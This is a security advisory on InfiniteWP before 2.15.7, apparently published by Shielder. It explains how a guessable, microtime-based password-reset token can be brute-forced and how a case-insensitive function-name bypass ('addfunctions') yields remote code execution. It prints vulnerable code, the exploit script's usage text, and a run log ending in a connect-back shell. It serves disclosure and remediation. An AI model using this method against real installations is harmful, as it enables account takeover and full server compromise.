Infinite WP < 2.15.7 userLoginResetPassword Unauthenticated Account Takeover and Remote Code Execution

Summary

A vulnerability in InfiniteWP allows unauthenticated users to log-in if they know an email address of one of the users in the system, this is done through a flaw in the password reset mechanism of the product. An additional vulnerability allows the attacker to achieve Remote Code Execution.

This advisory refers to two vulnerabilities: the first was previously reported by Hermann Weiss (hw at whitehack.de) – which the vendor took months to fix, during which we found it too – plus another one previously unknown.

Product description (from vendor)

InfiniteWP is “free self hosted, multiple WordPress site management solution. It simplifies your WordPress tasks with a click of a button”. For more information visit https://infinitewp.com/.

CVE(s)

Details

Root cause analysis

Weak password reset token

The password reset link is created by InfiniteWP Admin Panel by executing the code in function userLoginResetPassword($params) (controllers/appFunctions.php line 1341) :

1
2
3
4
5
6
7
<?php
$hashValue = serialize(array('hashCode' => 'resetPassword', 'uniqueTime' => microtime(true), 'userPin' => $userDets['userID']));
$resetHash = sha1($hashValue);
		
[...]

$verificationURL = APP_URL."login.php?view=resetPasswordChange&resetHash=".$resetHash."&transID=".sha1($params["email"]);

where $userDets['userID'] is the target user identifier and $params["email"] is their email. An attacker only needs the user id, user email and the value produced by the call to microtime(true) in order to create the correct link and reset the victim’s password:

  • the user id is an auto-increment integer stored in the database, the default value is 1 because in order to have more users it is required to puchase the manage-users addon (https://infinitewp.com/docs/addons/manage-users/ );
  • the user email can be tested before the attack takes place since there’s a different HTTP response if the email entered is not registered: an HTTP redirect to login.php?view=resetPassword&errorMsg=resetPasswordEmailNotFound means the email is not registered, otherwise it is;
  • the value generated by microtime(true) is the current UNIX timestamp with microseconds (php.net/microtime), hence it can be guessed by using the HTTP “Date” header value (seconds precision) as a reference point for the dictionary creation.

By creating a dictionary list with all the possible resetHash values it is possible to guess the correct password reset token and reset the victim’s password. The attack will be successfull with a maximum of 1 million tries over a 24 hours time window (the password reset token expires after 24 hours), which is a reasonable timing. During the Proof-of-concept tests, the average total time required to successfully exploit the issues has been of 1 hour; that said the timings might differ depending on the specific network speed/congestion/configuration and the microtime call output.

At this point an attacker is able to reset the victim’s password and gain access to the Infinite WP Admin Panel, the next vulnerability will cover how to achieve authenticated Remote Code Execution on the host machine.

Remote Code Execution via “addFunctions” (bypass of “checkDataIsValid”)

In 2016 a remote code execution vulnerability was found in Infinite WP Admin Panel 2.8.0, which affected the /ajax.php API endpoint, the details of which are publicly available. As written in the advisory, the vulnerability was fixed by adding a call to function checkDataIsValid($action) (controllers/panelRequestManager.php line 3782):

1
2
3
4
5
6
7
8
9
<?php 
private static function checkDataIsValid($action){
    //Restricted function access
    $functions = array('addFunctions');
    if(!in_array($action, $functions)){
        return true;
    }
    return false;
}

However that check doesn’t take in consideration that PHP function names are case insensitive: by using “addfunctions” (notice the lowercase “f”) it is possible to bypass the patch and achieve remote code execution.

4. Proof-of-Concept

  1. Execute the exploit script iwp-userloginsetpassword-unauthenticated-account-takeover-and-rce-exploit.py:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ ./iwp-userloginsetpassword-unauthenticated-account-takeover-and-rce-exploit.py --help
usage: iwp-userloginsetpassword-unauthenticated-account-takeover-and-rce-exploit.py [-h] -rh RHOST -e EMAIL [-u UID] -lh LHOST [-ts START_TS]
                  [-m MICROS_ELAPSED] [-lp LPORT] [-p NEW_PASSWORD] [-d]

optional arguments:
  -h, --help            show this help message and exit
  -rh RHOST, --rhost RHOST
                        remote InfiniteWP Admin Panel webroot, e.g.:
                        http://10.10.10.11:8080/iwp
  -e EMAIL, --email EMAIL
                        target email
  -u UID, --user-id UID
                        user_id (in the default installation it is 1, if not
                        set will try 1..5)
  -lh LHOST, --lhost LHOST
                        local ip to use for remote shell connect-back
  -ts START_TS, --token-timestamp START_TS
                        the unix timestamp to use for the token bruteforce,
                        e.g. 1597322728
  -m MICROS_ELAPSED, --micros MICROS_ELAPSED
                        number of microseconds to test (if not set 1000000 (1
                        second))
  -lp LPORT, --lport LPORT
                        local port to use for remote shell connect-back
  -p NEW_PASSWORD, --new-password NEW_PASSWORD
                        new password (if not set will configure
                        'msCodWbsdxGGETswnmWJyANE/x2j6d9G')
  -d, --debug           enable debug mode

Optionally use -d to enable the debug mode which outputs a more verbose log.

  1. After the exploit script resets the password and achieves remote code execution, a remote shell is spawned and the attacker achieves full control over the victim Infinite WP Admin Panel installation, including all of the managed WordPress hosts:
$ ./iwp-userloginsetpassword-unauthenticated-account-takeover-and-rce-exploit.py -e 'a@b.c' -rh http://vm.local/iwp -lh 10.10.10.13
2020-08-13 14:45:29,496 - INFO - initiating password reset...
2020-08-13 14:45:29,537 - INFO - reset token has been generated at 1597322728, starting the bruteforce...
2020-08-13 14:45:29,538 - INFO - starting with uid 1...
2020-08-13 14:50:05,318 - INFO - tested 50000 (5.0%) hashes so far for uid 1...
2020-08-13 14:54:49,094 - INFO - tested 100000 (10.0%) hashes so far for uid 1...
2020-08-13 14:59:15,282 - INFO - tested 150000 (15.0%) hashes so far for uid 1...
2020-08-13 15:04:19,933 - INFO - tested 200000 (20.0%) hashes so far for uid 1...
2020-08-13 15:08:55,162 - INFO - tested 250000 (25.0%) hashes so far for uid 1...
2020-08-13 15:13:38,524 - INFO - tested 300000 (30.0%) hashes so far for uid 1...
2020-08-13 15:15:43,375 - INFO - password has been reset, you can now login using a@b.c:msCodWbsdxGGETswnmWJyANE/x2j6d9G
2020-08-13 15:15:43,377 - INFO - removing from the queue all the remaining hashes...
2020-08-13 15:15:45,431 - INFO - spawning a remote shell...
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
$ uname -a
Linux debian 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux
$ exit
*** Connection closed by remote host ***

Impact

An unauthenticated user can takeover the admin account and then carry out a Remote Code Execution.

Remediation

Upgrade Infinite WP version 2.15.7 or later (Note: we didn’t verify the patch).

Disclosure timeline

  • 09/2020: First contact with SecuriTeam Secure Disclosure (SSD) and subsequent disclosure via their program
  • 11/11/2020: Hermann Weiss (hw at whitehack.de) publishes their advisory about the account takeover issue only (the first discussed above)
  • 08/12/2020: SSD’s advisory is made public
  • 23/12/2020: Shielder’s advisory is made public

Credits

  • Hermann Weiss (hw at whitehack.de) for being the first to discover the account takeover vulnerability
  • `polict` from Shielder for discovering the account takeover vulnerability while it was being fixed, the additional RCE vulnerability gadget and the RCE exploit script

This advisory was first published on https://www.shielder.it/advisories/infinite-wp-userloginresetpassword-unauthenticated-account-takeover-and-rce/

Date

23 December 2020